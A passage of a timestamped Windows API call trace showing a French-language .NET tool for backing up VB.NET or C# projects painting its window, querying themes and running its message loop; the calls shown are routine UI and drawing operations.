GdipRestoreGraphics (graphics=0x4da5930, state=0xfd9d0dbd) returned 0x0 [0230.268] GdipDeleteRegion (region=0x4da5c10) returned 0x0 [0230.269] GdipGetDC (graphics=0x4da5930, hdc=0x52e900) returned 0x0 [0230.269] GetCurrentObject (hdc=0x5d010733, type=0x1) returned 0x1b00017 [0230.269] GetCurrentObject (hdc=0x5d010733, type=0x2) returned 0x1900010 [0230.269] GetCurrentObject (hdc=0x5d010733, type=0x7) returned 0xa0506be [0230.269] GetCurrentObject (hdc=0x5d010733, type=0x6) returned 0x18a002e [0230.269] SaveDC (hdc=0x5d010733) returned 1 [0230.269] GetNearestColor (hdc=0x5d010733, color=0xf0f0f0) returned 0xf0f0f0 [0230.269] GetNearestColor (hdc=0x5d010733, color=0xa0a0a0) returned 0xa0a0a0 [0230.269] GetNearestColor (hdc=0x5d010733, color=0x696969) returned 0x696969 [0230.269] GetNearestColor (hdc=0x5d010733, color=0xa0a0a0) returned 0xa0a0a0 [0230.269] GetNearestColor (hdc=0x5d010733, color=0x0) returned 0x0 [0230.269] GetNearestColor (hdc=0x5d010733, color=0xffffff) returned 0xffffff [0230.269] GetNearestColor (hdc=0x5d010733, color=0xe5e5e5) returned 0xe5e5e5 [0230.269] GetNearestColor (hdc=0x5d010733, color=0xd7d7d7) returned 0xd7d7d7 [0230.269] GetNearestColor (hdc=0x5d010733, color=0x0) returned 0x0 [0230.269] RestoreDC (hdc=0x5d010733, nSavedDC=-1) returned 1 [0230.269] GdipReleaseDC (graphics=0x4da5930, hdc=0x5d010733) returned 0x0 [0230.269] IsAppThemed () returned 0x1 [0230.269] GetThemeAppProperties () returned 0x3 [0230.269] GetThemeAppProperties () returned 0x3 [0230.269] IsAppThemed () returned 0x1 [0230.269] GetThemeAppProperties () returned 0x3 [0230.269] GetThemeAppProperties () returned 0x3 [0230.269] DrawTextExW (in: hdc=0x300101e8, lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", cchText=25, lprc=0x52e7bc, format=0x2415, lpdtp=0x23775e0 | out: lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", lprc=0x52e7bc) returned 13 [0230.270] IsAppThemed () returned 0x1 [0230.270] GetThemeAppProperties () returned 0x3 [0230.270] GetThemeAppProperties () returned 0x3 [0230.270] IsAppThemed () returned 0x1 [0230.270] GetThemeAppProperties () returned 0x3 [0230.270] GetThemeAppProperties () returned 0x3 [0230.270] GetFocus () returned 0x0 [0230.270] IsAppThemed () returned 0x1 [0230.270] GetThemeAppProperties () returned 0x3 [0230.270] GetThemeAppProperties () returned 0x3 [0230.270] IsAppThemed () returned 0x1 [0230.270] GetThemeAppProperties () returned 0x3 [0230.270] GetThemeAppProperties () returned 0x3 [0230.270] IsThemePartDefined () returned 0x1 [0230.270] IsAppThemed () returned 0x1 [0230.270] GetThemeAppProperties () returned 0x3 [0230.270] GetThemeAppProperties () returned 0x3 [0230.270] IsThemeBackgroundPartiallyTransparent () returned 0x1 [0230.270] IsAppThemed () returned 0x1 [0230.270] GetThemeAppProperties () returned 0x3 [0230.270] GetThemeAppProperties () returned 0x3 [0230.270] IsAppThemed () returned 0x1 [0230.270] GetThemeAppProperties () returned 0x3 [0230.270] GetThemeAppProperties () returned 0x3 [0230.270] IsThemePartDefined () returned 0x1 [0230.270] GdipCreateRegion (region=0x52e804) returned 0x0 [0230.270] GdipGetClip (graphics=0x4da5930, region=0x4da5c10) returned 0x0 [0230.270] GdipCreateMatrix (matrix=0x52e804) returned 0x0 [0230.270] GdipGetWorldTransform (graphics=0x4da5930, matrix=0x4d97aa8) returned 0x0 [0230.270] GdipIsMatrixIdentity (matrix=0x4d97aa8, result=0x52e81c) returned 0x0 [0230.270] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x4fa4c70 [0230.270] GdipGetMatrixElements (matrix=0x4d97aa8, matrixOut=0x4fa4c70) returned 0x0 [0230.270] LocalFree (hMem=0x4fa4c70) returned 0x0 [0230.271] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x4fa4c70 [0230.271] GdipGetMatrixElements (matrix=0x4d97aa8, matrixOut=0x4fa4c70) returned 0x0 [0230.271] LocalFree (hMem=0x4fa4c70) returned 0x0 [0230.271] GdipDeleteMatrix (matrix=0x4d97aa8) returned 0x0 [0230.271] GdipIsInfiniteRegion (region=0x4da5c10, graphics=0x4da5930, result=0x52e844) returned 0x0 [0230.271] GdipIsInfiniteRegion (region=0x4da5c10, graphics=0x4da5930, result=0x52e834) returned 0x0 [0230.271] GdipGetRegionHRgn (region=0x4da5c10, graphics=0x4da5930, hRgn=0x52e834) returned 0x0 [0230.271] GdipDeleteRegion (region=0x4da5c10) returned 0x0 [0230.271] GdipGetDC (graphics=0x4da5930, hdc=0x52e84c) returned 0x0 [0230.271] GetCurrentObject (hdc=0x5d010733, type=0x1) returned 0x1b00017 [0230.271] GetCurrentObject (hdc=0x5d010733, type=0x2) returned 0x1900010 [0230.271] GetCurrentObject (hdc=0x5d010733, type=0x7) returned 0xa0506be [0230.271] GetCurrentObject (hdc=0x5d010733, type=0x6) returned 0x18a002e [0230.271] SaveDC (hdc=0x5d010733) returned 1 [0230.271] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x6a040221 [0230.271] GetClipRgn (hdc=0x5d010733, hrgn=0x6a040221) returned 0 [0230.271] SelectClipRgn (hdc=0x5d010733, hrgn=0x440401e4) returned 2 [0230.271] DeleteObject (ho=0x6a040221) returned 1 [0230.271] DeleteObject (ho=0x440401e4) returned 1 [0230.271] OffsetViewportOrgEx (in: hdc=0x5d010733, x=0, y=0, lppt=0x2377c90 | out: lppt=0x2377c90) returned 1 [0230.271] DrawThemeParentBackground () returned 0x0 [0230.272] GetWindowPlacement (in: hWnd=0x1016e, lpwndpl=0x52e5c0 | out: lpwndpl=0x52e5c0) returned 1 [0230.272] GetClientRect (in: hWnd=0x1016e, lpRect=0x52e56c | out: lpRect=0x52e56c) returned 1 [0230.272] GetWindowTextLengthW (hWnd=0x1016e) returned 35 [0230.272] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x23 [0230.272] GetSystemMetrics (nIndex=42) returned 0 [0230.272] GetWindowTextW (in: hWnd=0x1016e, lpString=0x52e3fc, nMaxCount=36 | out: lpString="Sauvegarde d'un projet VB Net ou C#") returned 35 [0230.272] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016e, Msg=0xd, wParam=0x24, lParam=0x52e3fc) returned 0x23 [0230.272] GetClientRect (in: hWnd=0x1016e, lpRect=0x52e474 | out: lpRect=0x52e474) returned 1 [0230.272] GetCurrentObject (hdc=0x5d010733, type=0x1) returned 0x1b00017 [0230.272] GetCurrentObject (hdc=0x5d010733, type=0x2) returned 0x1900010 [0230.272] GetCurrentObject (hdc=0x5d010733, type=0x7) returned 0xa0506be [0230.272] GetCurrentObject (hdc=0x5d010733, type=0x6) returned 0x18a002e [0230.272] SaveDC (hdc=0x5d010733) returned 2 [0230.272] GetNearestColor (hdc=0x5d010733, color=0xf0f0f0) returned 0xf0f0f0 [0230.272] CreateSolidBrush (color=0xf0f0f0) returned 0x171006b3 [0230.272] FillRect (hDC=0x5d010733, lprc=0x52e314, hbr=0x171006b3) returned 1 [0230.272] DeleteObject (ho=0x171006b3) returned 1 [0230.272] RestoreDC (hdc=0x5d010733, nSavedDC=-1) returned 1 [0230.272] GetWindowTextLengthW (hWnd=0x1016e) returned 35 [0230.272] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x23 [0230.272] GetSystemMetrics (nIndex=42) returned 0 [0230.272] GetWindowTextW (in: hWnd=0x1016e, lpString=0x52e39c, nMaxCount=36 | out: lpString="Sauvegarde d'un projet VB Net ou C#") returned 35 [0230.273] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016e, Msg=0xd, wParam=0x24, lParam=0x52e39c) returned 0x23 [0230.273] GetClientRect (in: hWnd=0x1016e, lpRect=0x52e414 | out: lpRect=0x52e414) returned 1 [0230.273] GetCurrentObject (hdc=0x5d010733, type=0x1) returned 0x1b00017 [0230.273] GetCurrentObject (hdc=0x5d010733, type=0x2) returned 0x1900010 [0230.273] GetCurrentObject (hdc=0x5d010733, type=0x7) returned 0xa0506be [0230.273] GetCurrentObject (hdc=0x5d010733, type=0x6) returned 0x18a002e [0230.273] SaveDC (hdc=0x5d010733) returned 2 [0230.273] GetNearestColor (hdc=0x5d010733, color=0xf0f0f0) returned 0xf0f0f0 [0230.273] CreateSolidBrush (color=0xf0f0f0) returned 0x181006b3 [0230.273] FillRect (hDC=0x5d010733, lprc=0x52e2b4, hbr=0x181006b3) returned 1 [0230.273] DeleteObject (ho=0x181006b3) returned 1 [0230.273] RestoreDC (hdc=0x5d010733, nSavedDC=-1) returned 1 [0230.273] GetWindowTextLengthW (hWnd=0x1016e) returned 35 [0230.273] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x23 [0230.273] GetSystemMetrics (nIndex=42) returned 0 [0230.273] GetWindowTextW (in: hWnd=0x1016e, lpString=0x52e39c, nMaxCount=36 | out: lpString="Sauvegarde d'un projet VB Net ou C#") returned 35 [0230.273] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016e, Msg=0xd, wParam=0x24, lParam=0x52e39c) returned 0x23 [0230.273] RestoreDC (hdc=0x5d010733, nSavedDC=-1) returned 1 [0230.273] GdipReleaseDC (graphics=0x4da5930, hdc=0x5d010733) returned 0x0 [0230.273] IsAppThemed () returned 0x1 [0230.273] GetThemeAppProperties () returned 0x3 [0230.273] GetThemeAppProperties () returned 0x3 [0230.273] IsAppThemed () returned 0x1 [0230.273] GetThemeAppProperties () returned 0x3 [0230.273] GetThemeAppProperties () returned 0x3 [0230.273] IsThemePartDefined () returned 0x1 [0230.273] GdipCreateRegion (region=0x52e7a8) returned 0x0 [0230.274] GdipGetClip (graphics=0x4da5930, region=0x4da5c10) returned 0x0 [0230.274] GdipCreateMatrix (matrix=0x52e7a8) returned 0x0 [0230.274] GdipGetWorldTransform (graphics=0x4da5930, matrix=0x4d98090) returned 0x0 [0230.274] GdipIsMatrixIdentity (matrix=0x4d98090, result=0x52e7c0) returned 0x0 [0230.274] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x4fa4c70 [0230.274] GdipGetMatrixElements (matrix=0x4d98090, matrixOut=0x4fa4c70) returned 0x0 [0230.274] LocalFree (hMem=0x4fa4c70) returned 0x0 [0230.274] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x4fa4c70 [0230.274] GdipGetMatrixElements (matrix=0x4d98090, matrixOut=0x4fa4c70) returned 0x0 [0230.274] LocalFree (hMem=0x4fa4c70) returned 0x0 [0230.274] GdipDeleteMatrix (matrix=0x4d98090) returned 0x0 [0230.274] GdipIsInfiniteRegion (region=0x4da5c10, graphics=0x4da5930, result=0x52e7e8) returned 0x0 [0230.274] GdipIsInfiniteRegion (region=0x4da5c10, graphics=0x4da5930, result=0x52e7d8) returned 0x0 [0230.274] GdipGetRegionHRgn (region=0x4da5c10, graphics=0x4da5930, hRgn=0x52e7d8) returned 0x0 [0230.274] GdipDeleteRegion (region=0x4da5c10) returned 0x0 [0230.274] GdipGetDC (graphics=0x4da5930, hdc=0x52e7f0) returned 0x0 [0230.274] GetCurrentObject (hdc=0x5d010733, type=0x1) returned 0x1b00017 [0230.274] GetCurrentObject (hdc=0x5d010733, type=0x2) returned 0x1900010 [0230.274] GetCurrentObject (hdc=0x5d010733, type=0x7) returned 0xa0506be [0230.274] GetCurrentObject (hdc=0x5d010733, type=0x6) returned 0x18a002e [0230.274] SaveDC (hdc=0x5d010733) returned 1 [0230.274] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x450401e4 [0230.274] GetClipRgn (hdc=0x5d010733, hrgn=0x450401e4) returned 0 [0230.274] SelectClipRgn (hdc=0x5d010733, hrgn=0x6c040221) returned 2 [0230.274] DeleteObject (ho=0x450401e4) returned 1 [0230.275] DeleteObject (ho=0x6c040221) returned 1 [0230.275] OffsetViewportOrgEx (in: hdc=0x5d010733, x=0, y=0, lppt=0x23786c8 | out: lppt=0x23786c8) returned 1 [0230.275] IsAppThemed () returned 0x1 [0230.275] GetThemeAppProperties () returned 0x3 [0230.275] GetThemeAppProperties () returned 0x3 [0230.275] DrawThemeBackground () returned 0x0 [0230.275] RestoreDC (hdc=0x5d010733, nSavedDC=-1) returned 1 [0230.275] GdipReleaseDC (graphics=0x4da5930, hdc=0x5d010733) returned 0x0 [0230.275] GdipCreateRegion (region=0x52e790) returned 0x0 [0230.275] GdipGetClip (graphics=0x4da5930, region=0x4da5c10) returned 0x0 [0230.275] GdipCreateMatrix (matrix=0x52e790) returned 0x0 [0230.275] GdipGetWorldTransform (graphics=0x4da5930, matrix=0x4d97aa8) returned 0x0 [0230.275] GdipIsMatrixIdentity (matrix=0x4d97aa8, result=0x52e7a8) returned 0x0 [0230.275] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x4fa4c70 [0230.275] GdipGetMatrixElements (matrix=0x4d97aa8, matrixOut=0x4fa4c70) returned 0x0 [0230.275] LocalFree (hMem=0x4fa4c70) returned 0x0 [0230.275] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x4fa4c70 [0230.275] GdipGetMatrixElements (matrix=0x4d97aa8, matrixOut=0x4fa4c70) returned 0x0 [0230.275] LocalFree (hMem=0x4fa4c70) returned 0x0 [0230.275] GdipDeleteMatrix (matrix=0x4d97aa8) returned 0x0 [0230.275] GdipIsInfiniteRegion (region=0x4da5c10, graphics=0x4da5930, result=0x52e7d0) returned 0x0 [0230.275] GdipIsInfiniteRegion (region=0x4da5c10, graphics=0x4da5930, result=0x52e7c0) returned 0x0 [0230.275] GdipGetRegionHRgn (region=0x4da5c10, graphics=0x4da5930, hRgn=0x52e7c0) returned 0x0 [0230.275] GdipDeleteRegion (region=0x4da5c10) returned 0x0 [0230.275] GdipGetDC (graphics=0x4da5930, hdc=0x52e7d8) returned 0x0 [0230.275] GetCurrentObject (hdc=0x5d010733, type=0x1) returned 0x1b00017 [0230.276] GetCurrentObject (hdc=0x5d010733, type=0x2) returned 0x1900010 [0230.276] GetCurrentObject (hdc=0x5d010733, type=0x7) returned 0xa0506be [0230.276] GetCurrentObject (hdc=0x5d010733, type=0x6) returned 0x18a002e [0230.276] SaveDC (hdc=0x5d010733) returned 1 [0230.276] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x6d040221 [0230.276] GetClipRgn (hdc=0x5d010733, hrgn=0x6d040221) returned 0 [0230.276] SelectClipRgn (hdc=0x5d010733, hrgn=0x460401e4) returned 2 [0230.276] DeleteObject (ho=0x6d040221) returned 1 [0230.276] DeleteObject (ho=0x460401e4) returned 1 [0230.276] OffsetViewportOrgEx (in: hdc=0x5d010733, x=0, y=0, lppt=0x237899c | out: lppt=0x237899c) returned 1 [0230.276] IsAppThemed () returned 0x1 [0230.276] GetThemeAppProperties () returned 0x3 [0230.276] GetThemeAppProperties () returned 0x3 [0230.276] GetThemeBackgroundContentRect () returned 0x0 [0230.276] RestoreDC (hdc=0x5d010733, nSavedDC=-1) returned 1 [0230.276] GdipReleaseDC (graphics=0x4da5930, hdc=0x5d010733) returned 0x0 [0230.276] IsAppThemed () returned 0x1 [0230.276] GetThemeAppProperties () returned 0x3 [0230.276] GetThemeAppProperties () returned 0x3 [0230.276] GdipGetTextRenderingHint (graphics=0x4da5930, mode=0x52e908) returned 0x0 [0230.276] GdipGetDC (graphics=0x4da5930, hdc=0x52e8f4) returned 0x0 [0230.276] GetCurrentObject (hdc=0x5d010733, type=0x1) returned 0x1b00017 [0230.276] GetCurrentObject (hdc=0x5d010733, type=0x2) returned 0x1900010 [0230.276] GetCurrentObject (hdc=0x5d010733, type=0x7) returned 0xa0506be [0230.276] GetCurrentObject (hdc=0x5d010733, type=0x6) returned 0x18a002e [0230.276] SaveDC (hdc=0x5d010733) returned 1 [0230.277] GetTextAlign (hdc=0x5d010733) returned 0x0 [0230.277] GetTextColor (hdc=0x5d010733) returned 0x0 [0230.277] GetCurrentObject (hdc=0x5d010733, type=0x6) returned 0x18a002e [0230.277] GetObjectW (in: h=0x18a002e, c=92, pv=0x52e5fc | out: pv=0x52e5fc) returned 92 [0230.277] SelectObject (hdc=0x5d010733, h=0xc0a01e7) returned 0x18a002e [0230.277] GetBkMode (hdc=0x5d010733) returned 2 [0230.277] SetBkMode (hdc=0x5d010733, mode=1) returned 2 [0230.277] DrawTextExW (in: hdc=0x5d010733, lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", cchText=25, lprc=0x52e6d0, format=0x2415, lpdtp=0x2378d30 | out: lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", lprc=0x52e6d0) returned 13 [0230.277] DrawTextExW (in: hdc=0x5d010733, lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", cchText=25, lprc=0x52e888, format=0x2015, lpdtp=0x2378d30 | out: lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", lprc=0x52e888) returned 13 [0230.277] RestoreDC (hdc=0x5d010733, nSavedDC=-1) returned 1 [0230.277] GdipReleaseDC (graphics=0x4da5930, hdc=0x5d010733) returned 0x0 [0230.277] GetFocus () returned 0x0 [0230.277] IsAppThemed () returned 0x1 [0230.277] GetThemeAppProperties () returned 0x3 [0230.277] GetThemeAppProperties () returned 0x3 [0230.277] GdipGetDC (graphics=0x4da5930, hdc=0x52ead4) returned 0x0 [0230.277] BitBlt (hdc=0x1401007f, x=0, y=0, cx=163, cy=29, hdcSrc=0x5d010733, x1=0, y1=0, rop=0xcc0020) returned 1 [0230.278] GdipReleaseDC (graphics=0x4da5930, hdc=0x5d010733) returned 0x0 [0230.278] SelectPalette (hdc=0x1401007f, hPal=0x188000b, bForceBkgd=0) returned 0x190806b0 [0230.278] SelectObject (hdc=0x5d010733, h=0x185000f) returned 0xa0506be [0230.278] DeleteDC (hdc=0x5d010733) returned 1 [0230.278] GdipDeleteGraphics (graphics=0x4da5930) returned 0x0 [0230.278] EndPaint (hWnd=0x10186, lpPaint=0x52ea78) returned 1 [0230.278] PeekMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x52ef98) returned 0 [0230.278] PeekMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x52ef98) returned 0 [0230.278] WaitMessage () returned 1 [0230.454] PeekMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x52ef98) returned 1 [0230.454] IsWindowUnicode (hWnd=0x101a4) returned 1 [0230.454] GetMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x52ef98) returned 1 [0230.454] TranslateMessage (lpMsg=0x52ef98) returned 0 [0230.454] DispatchMessageW (lpMsg=0x52ef98) returned 0x0 [0230.454] PeekMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x52ef98) returned 0 [0230.455] PeekMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x52ef98) returned 0 [0230.455] WaitMessage () returned 1 [0230.578] PeekMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x52ef98) returned 1 [0230.578] IsWindowUnicode (hWnd=0x101a6) returned 1 [0230.578] GetMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x52ef98) returned 1 [0230.578] TranslateMessage (lpMsg=0x52ef98) returned 0 [0230.578] DispatchMessageW (lpMsg=0x52ef98) returned 0x0 [0230.578] PeekMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x52ef98) returned 0 [0230.578] PeekMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x52ef98) returned 0 [0230.578] WaitMessage () returned 1 [0231.432] PeekMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x52ef98) returned 1 [0231.432] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016e, Msg=0x46, wParam=0x0, lParam=0x52ee80) returned 0x0 [0231.432] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x10170, Msg=0x46, wParam=0x0, lParam=0x52ee80) returned 0x0 [0231.498] GetWindowPlacement (in: hWnd=0x1016e, lpwndpl=0x52ec30 | out: lpwndpl=0x52ec30) returned 1 [0231.498] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016e, Msg=0x47, wParam=0x0, lParam=0x52ee80) returned 0x0 [0231.498] GetClientRect (in: hWnd=0x1016e, lpRect=0x52ebe0 | out: lpRect=0x52ebe0) returned 1 [0231.498] GetWindowRect (in: hWnd=0x1016e, lpRect=0x52ebe0 | out: lpRect=0x52ebe0) returned 1 [0231.498] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x10170, Msg=0x47, wParam=0x0, lParam=0x52ee80) returned 0x0 [0231.498] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x10170, Msg=0xd, wParam=0x104, lParam=0x433edb8) returned 0x0 [0231.498] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016e, Msg=0x1c, wParam=0x1, lParam=0x560) returned 0x0 [0231.498] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x10170, Msg=0x1c, wParam=0x1, lParam=0x560) returned 0x0 [0231.499] NtdllDefWindowProc_W () returned 0x0 [0231.499] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016e, Msg=0x86, wParam=0x1, lParam=0x0) returned 0x1 [0231.505] GetFocus () returned 0x0 [0231.505] SetFocus (hWnd=0x10186) returned 0x0 [0231.505] CallWindowProcW (lpPrevWndFunc=0x70f0b495, hWnd=0x10186, Msg=0x281, wParam=0x1, lParam=0xc000000f) returned 0x0 [0231.505] GetKeyboardLayout (idThread=0x0) returned 0x4090409 [0231.505] CallWindowProcW (lpPrevWndFunc=0x70f0b495, hWnd=0x10186, Msg=0x282, wParam=0x2, lParam=0x0) returned 0x0 [0231.505] GetKeyboardLayout (idThread=0x0) returned 0x4090409 [0231.505] CallWindowProcW (lpPrevWndFunc=0x70f0b495, hWnd=0x10186, Msg=0x7, wParam=0x0, lParam=0x0) returned 0x0 [0231.505] GetStockObject (i=5) returned 0x1900015 [0231.505] CallWindowProcW (lpPrevWndFunc=0x70f0b495, hWnd=0x10186, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x19 [0231.505] CallWindowProcW (lpPrevWndFunc=0x70f0b495, hWnd=0x10186, Msg=0xd, wParam=0x1a, lParam=0x6571a8) returned 0x19 [0231.505] GetDlgItem (hDlg=0x1016e, nIDDlgItem=65926) returned 0x10186 [0231.505] SendMessageW (hWnd=0x10186, Msg=0x202b, wParam=0x10186, lParam=0x52e678) returned 0x0 [0231.506] CallWindowProcW (lpPrevWndFunc=0x70f0b495, hWnd=0x10186, Msg=0x202b, wParam=0x10186, lParam=0x52e678) returned 0x0 [0231.506] InvalidateRect (hWnd=0x10186, lpRect=0x0, bErase=0) returned 1 [0231.506] IsWindowUnicode (hWnd=0x10186) returned 1 [0231.506] GetMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x52ef98) returned 1 [0231.506] TranslateMessage (lpMsg=0x52ef98) returned 0 [0231.506] DispatchMessageW (lpMsg=0x52ef98) returned 0x0 [0231.506] PeekMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x52ef98) returned 1 [0231.506] IsWindowUnicode (hWnd=0x10186) returned 1 [0231.506] GetMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x52ef98) returned 1 [0231.506] GetKeyState (nVirtKey=16) returned 0 [0231.506] GetKeyState (nVirtKey=17) returned 0 [0231.506] GetKeyState (nVirtKey=18) returned -128 [0231.506] TranslateMessage (lpMsg=0x52ef98) returned 1 [0231.506] DispatchMessageW (lpMsg=0x52ef98) returned 0x0 [0231.506] GetKeyState (nVirtKey=16) returned 0 [0231.506] GetKeyState (nVirtKey=17) returned 0 [0231.506] GetKeyState (nVirtKey=18) returned -128 [0231.506] CallWindowProcW (lpPrevWndFunc=0x70f0b495, hWnd=0x10186, Msg=0x105, wParam=0x1b, lParam=0xe0010001) returned 0x0 [0231.506] PeekMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x52ef98) returned 1 [0231.506] IsWindowUnicode (hWnd=0x10186) returned 1 [0231.506] GetMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x52ef98) returned 1 [0231.506] GetKeyState (nVirtKey=16) returned 0 [0231.507] GetKeyState (nVirtKey=17) returned 0 [0231.507] GetKeyState (nVirtKey=18) returned 0 [0231.507] TranslateMessage (lpMsg=0x52ef98) returned 1 [0231.507] DispatchMessageW (lpMsg=0x52ef98) returned 0x0 [0231.507] GetKeyState (nVirtKey=16) returned 0 [0231.507] GetKeyState (nVirtKey=17) returned 0 [0231.507] GetKeyState (nVirtKey=18) returned 0 [0231.507] CallWindowProcW (lpPrevWndFunc=0x70f0b495, hWnd=0x10186, Msg=0x101, wParam=0x12, lParam=0xc0380001) returned 0x0 [0231.507] PeekMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x52ef98) returned 1 [0231.507] IsWindowUnicode (hWnd=0x10186) returned 1 [0231.507] GetMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x52ef98) returned 1 [0231.507] TranslateMessage (lpMsg=0x52ef98) returned 0 [0231.507] DispatchMessageW (lpMsg=0x52ef98) returned 0x0 [0231.507] BeginPaint (in: hWnd=0x10186, lpPaint=0x52ea7c | out: lpPaint=0x52ea7c) returned 0x1401007f [0231.507] SelectPalette (hdc=0x1401007f, hPal=0x190806b0, bForceBkgd=1) returned 0x188000b [0231.507] CreateCompatibleDC (hdc=0x1401007f) returned 0x120106c9 [0231.507] SelectObject (hdc=0x120106c9, h=0xa0506be) returned 0x185000f [0231.507] GdipCreateFromHDC (hdc=0x120106c9, graphics=0x52ea94) returned 0x0 [0231.507] GdipTranslateWorldTransform (graphics=0x4da5930, dx=0x0, dy=0x0, order=0x0) returned 0x0 [0231.507] GdipSetClipRectI (graphics=0x4da5930, x=0, y=0, width=163, height=29, combineMode=0x0) returned 0x0 [0231.507] GdipCreateMatrix (matrix=0x52eadc) returned 0x0 [0231.507] GdipGetWorldTransform (graphics=0x4da5930, matrix=0x4d98090) returned 0x0 [0231.507] GdipIsMatrixIdentity (matrix=0x4d98090, result=0x52eaf4) returned 0x0 [0231.507] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x4fa4c70 [0231.507] GdipGetMatrixElements (matrix=0x4d98090, matrixOut=0x4fa4c70) returned 0x0 [0231.507] LocalFree (hMem=0x4fa4c70) returned 0x0 [0231.507] GdipDeleteMatrix (matrix=0x4d98090) returned 0x0 [0231.507] GdipCreateRegion (region=0x52eadc) returned 0x0 [0231.508] GdipGetClip (graphics=0x4da5930, region=0x4da5c10) returned 0x0 [0231.508] GdipIsInfiniteRegion (region=0x4da5c10, graphics=0x4da5930, result=0x52eae8) returned 0x0 [0231.508] GdipSaveGraphics (graphics=0x4da5930, state=0x52eb14) returned 0x0 [0231.508] GdipRestoreGraphics (graphics=0x4da5930, state=0xfd9b0dbd) returned 0x0 [0231.508] GdipDeleteRegion (region=0x4da5c10) returned 0x0 [0231.508] GdipGetDC (graphics=0x4da5930, hdc=0x52e900) returned 0x0 [0231.508] GetCurrentObject (hdc=0x120106c9, 